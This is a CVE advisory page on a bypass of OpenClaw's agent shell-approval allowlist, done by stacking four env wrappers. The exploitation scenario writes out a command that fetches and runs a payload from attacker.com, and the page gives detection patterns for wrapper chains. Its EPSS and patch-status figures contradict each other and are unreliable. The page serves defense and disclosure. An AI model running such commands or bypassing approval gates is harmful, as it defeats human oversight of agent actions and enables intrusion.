CVE-2026-27183: OpenClaw shell allowlist bypass

CISO Take

CVE-2026-27183 allows a local attacker with standard user privileges to bypass OpenClaw's shell command approval gating by stacking exactly four transparent dispatch wrappers — such as repeated env invocations — before /bin/sh -c, exploiting a depth-boundary mismatch between the approval classifier and the execution planner. For CISOs, the concern is that this defeats the security=allowlist control that is OpenClaw's primary defense against unauthorized shell execution by AI agents; with EPSS ranked in the 99th percentile, exploitation interest is elevated despite the absence of a public PoC or CISA KEV listing. The attack requires only low privilege local access, which is routinely available in shared CI/CD or multi-tenant agent environments where OpenClaw is commonly deployed. Upgrade all instances to OpenClaw 2026.3.7 immediately; where patching is delayed, confine the OpenClaw process account to minimal OS permissions and alert on system.run chains containing four or more stacked wrapper invocations.

Sources: NVD EPSS GitHub Advisory VulnCheck ATLAS

What is the risk?

Rated medium by CVSS (5.3, local/low-priv), but security impact is disproportionate in AI agent deployments where shell execution is a privileged, gated capability. The depth-boundary mismatch is a design-level flaw in the approval architecture, making the bypass reliable and low-complexity once the technique is known. EPSS at the 99th percentile signals elevated exploitation attention for this vulnerability class. Local attack vector limits internet-facing exposure, but AI agent platforms are frequently deployed in shared multi-tenant or CI/CD environments where low-privilege local access is a baseline assumption, not a meaningful barrier.

How does the attack unfold?

Initial Access

Attacker obtains low-privilege local access to a host running OpenClaw, sufficient to interact with the agent's system.run interface — achievable via shared CI/CD runner, misconfigured container, or compromised service account.

AML.T0012

Approval Gate Bypass

Attacker crafts a system.run invocation with exactly four transparent dispatch wrappers before /bin/sh -c, exploiting the depth-boundary mismatch so the approval classifier passes the outer wrapper while the execution planner resolves the full chain to a shell.

AML.T0107

Arbitrary Shell Execution

The execution planner runs /bin/sh -c with the attacker-controlled payload under the OpenClaw process identity, entirely outside the scope of what the approval gate permitted.

AML.T0050

Impact

Attacker achieves confidentiality, integrity, and availability impact proportional to the OpenClaw process's OS permissions — potentially including exfiltration of API keys, model artifacts, training data, or lateral movement to internal infrastructure.

AML.T0053

Initial Access

Attacker obtains low-privilege local access to a host running OpenClaw, sufficient to interact with the agent's system.run interface — achievable via shared CI/CD runner, misconfigured container, or compromised service account.

AML.T0012

Approval Gate Bypass

Attacker crafts a system.run invocation with exactly four transparent dispatch wrappers before /bin/sh -c, exploiting the depth-boundary mismatch so the approval classifier passes the outer wrapper while the execution planner resolves the full chain to a shell.

AML.T0107

Arbitrary Shell Execution

The execution planner runs /bin/sh -c with the attacker-controlled payload under the OpenClaw process identity, entirely outside the scope of what the approval gate permitted.

AML.T0050

Impact

Attacker achieves confidentiality, integrity, and availability impact proportional to the OpenClaw process's OS permissions — potentially including exfiltration of API keys, model artifacts, training data, or lateral movement to internal infrastructure.

AML.T0053

What systems are affected?

Package	Ecosystem	Vulnerable Range	Patched
OpenClaw	pip	—	No patch
4 dependents 37% patched ~3d to patch Full package profile →

Do you use OpenClaw? You're affected.

How severe is it?

CVSS 3.1

5.3 / 10

EPSS

0.1%

chance of exploitation in 30 days

Higher than 1% of all CVEs

Source: EPSS v3 — FIRST.org

Exploitation Status

No known exploitation

Sophistication

Trivial

What is the attack surface?

AV Local

AC Low

PR Low

UI None

S Unchanged

C Low

I Low

A Low

What should I do?

4 steps

Patch: Upgrade all OpenClaw instances to 2026.3.7 or later — the fix aligns depth-boundary evaluation between the classifier and execution planner (see commit 2fc95a7).
Workaround if patching is delayed: Restrict the OS account running OpenClaw to the minimum necessary permissions; isolate in a container or VM with no access to sensitive host paths, credentials, or lateral network movement.
Detection: Audit system.run call logs for dispatch chains containing four or more stacked wrapper invocations (env, xargs, sh -c variants) preceding a terminal shell command; alert on any /bin/sh -c or /bin/bash -c reached via a wrapper chain of depth ≥ 4.
Validate exposure by diffing your pinned OpenClaw version against the patch commit to confirm the depth-boundary fix is present.

What does CISA's SSVC say?

Decision Track

Exploitation none

Automatable No

Technical Impact partial

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Auth Bypass Code Execution Agent Framework AML.T0050 - Command and Scripting Interpreter AML.T0053 - AI Agent Tool Invocation AML.T0107 - Exploitation for Defense Evasion AML.T0112.000 - Local AI Agent

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act

Article 15 - Accuracy, robustness and cybersecurity

ISO 42001

A.6.2.6 - AI system access control

NIST AI RMF

GOVERN 1.2 - Policies, processes, procedures and practices across the organization

OWASP LLM Top 10

LLM08 - Excessive Agency

Frequently Asked Questions

What is CVE-2026-27183?

CVE-2026-27183 allows a local attacker with standard user privileges to bypass OpenClaw's shell command approval gating by stacking exactly four transparent dispatch wrappers — such as repeated env invocations — before /bin/sh -c, exploiting a depth-boundary mismatch between the approval classifier and the execution planner. For CISOs, the concern is that this defeats the security=allowlist control that is OpenClaw's primary defense against unauthorized shell execution by AI agents; with EPSS ranked in the 99th percentile, exploitation interest is elevated despite the absence of a public PoC or CISA KEV listing. The attack requires only low privilege local access, which is routinely available in shared CI/CD or multi-tenant agent environments where OpenClaw is commonly deployed. Upgrade all instances to OpenClaw 2026.3.7 immediately; where patching is delayed, confine the OpenClaw process account to minimal OS permissions and alert on system.run chains containing four or more stacked wrapper invocations.

Is CVE-2026-27183 actively exploited?

No confirmed active exploitation of CVE-2026-27183 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-27183?

1. Patch: Upgrade all OpenClaw instances to 2026.3.7 or later — the fix aligns depth-boundary evaluation between the classifier and execution planner (see commit 2fc95a7). 2. Workaround if patching is delayed: Restrict the OS account running OpenClaw to the minimum necessary permissions; isolate in a container or VM with no access to sensitive host paths, credentials, or lateral network movement. 3. Detection: Audit system.run call logs for dispatch chains containing four or more stacked wrapper invocations (env, xargs, sh -c variants) preceding a terminal shell command; alert on any /bin/sh -c or /bin/bash -c reached via a wrapper chain of depth ≥ 4. 4. Validate exposure by diffing your pinned OpenClaw version against the patch commit to confirm the depth-boundary fix is present.

What systems are affected by CVE-2026-27183?

This vulnerability affects the following AI/ML architecture patterns: AI agent frameworks, agentic pipelines, CI/CD pipelines with agent automation, multi-agent systems.

What is the CVSS score for CVE-2026-27183?

CVE-2026-27183 has a CVSS v3.1 base score of 5.3 (MEDIUM). The EPSS exploitation probability is 0.11%.

What is the AI security impact?

Affected AI Architectures

AI agent frameworksagentic pipelinesCI/CD pipelines with agent automationmulti-agent systems

MITRE ATLAS Techniques

AML.T0050 Command and Scripting Interpreter

AML.T0053 AI Agent Tool Invocation

AML.T0107 Exploitation for Defense Evasion

AML.T0112.000 Local AI Agent

Compliance Controls Affected

EU AI Act: Article 15

ISO 42001: A.6.2.6

NIST AI RMF: GOVERN 1.2

OWASP LLM Top 10: LLM08

What are the technical details?

Original Advisory

OpenClaw versions prior to 2026.3.7 contain a shell approval gating bypass vulnerability in system.run dispatch-wrapper handling that allows attackers to skip shell wrapper approval requirements. The approval classifier and execution planner apply different depth-boundary rules, permitting exactly four transparent dispatch wrappers like repeated env invocations before /bin/sh -c to bypass security=allowlist approval gating by misaligning classification with execution planning.

Exploitation Scenario

An attacker with local user access on a host running OpenClaw crafts a system.run invocation stacking four env wrappers — e.g., env env env env /bin/sh -c 'curl attacker.com/payload | bash' — as the command argument. The approval classifier evaluates only the outermost env invocation, matches it against the allowlist, and marks the call approved. The execution planner, applying different depth-boundary rules, resolves the full wrapper chain and executes /bin/sh -c with the attacker-controlled payload under the OpenClaw process identity. In an AI agent pipeline context, this yields access to any secrets, model files, or network resources the agent process can reach — enabling credential exfiltration, lateral movement, or persistent implant installation without triggering the approval gate.

Weaknesses (CWE)

CWE-863 Incorrect Authorization

CWE-863 — Incorrect Authorization: The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.

[Architecture and Design] Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
[Architecture and Design] Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Source: MITRE CWE corpus.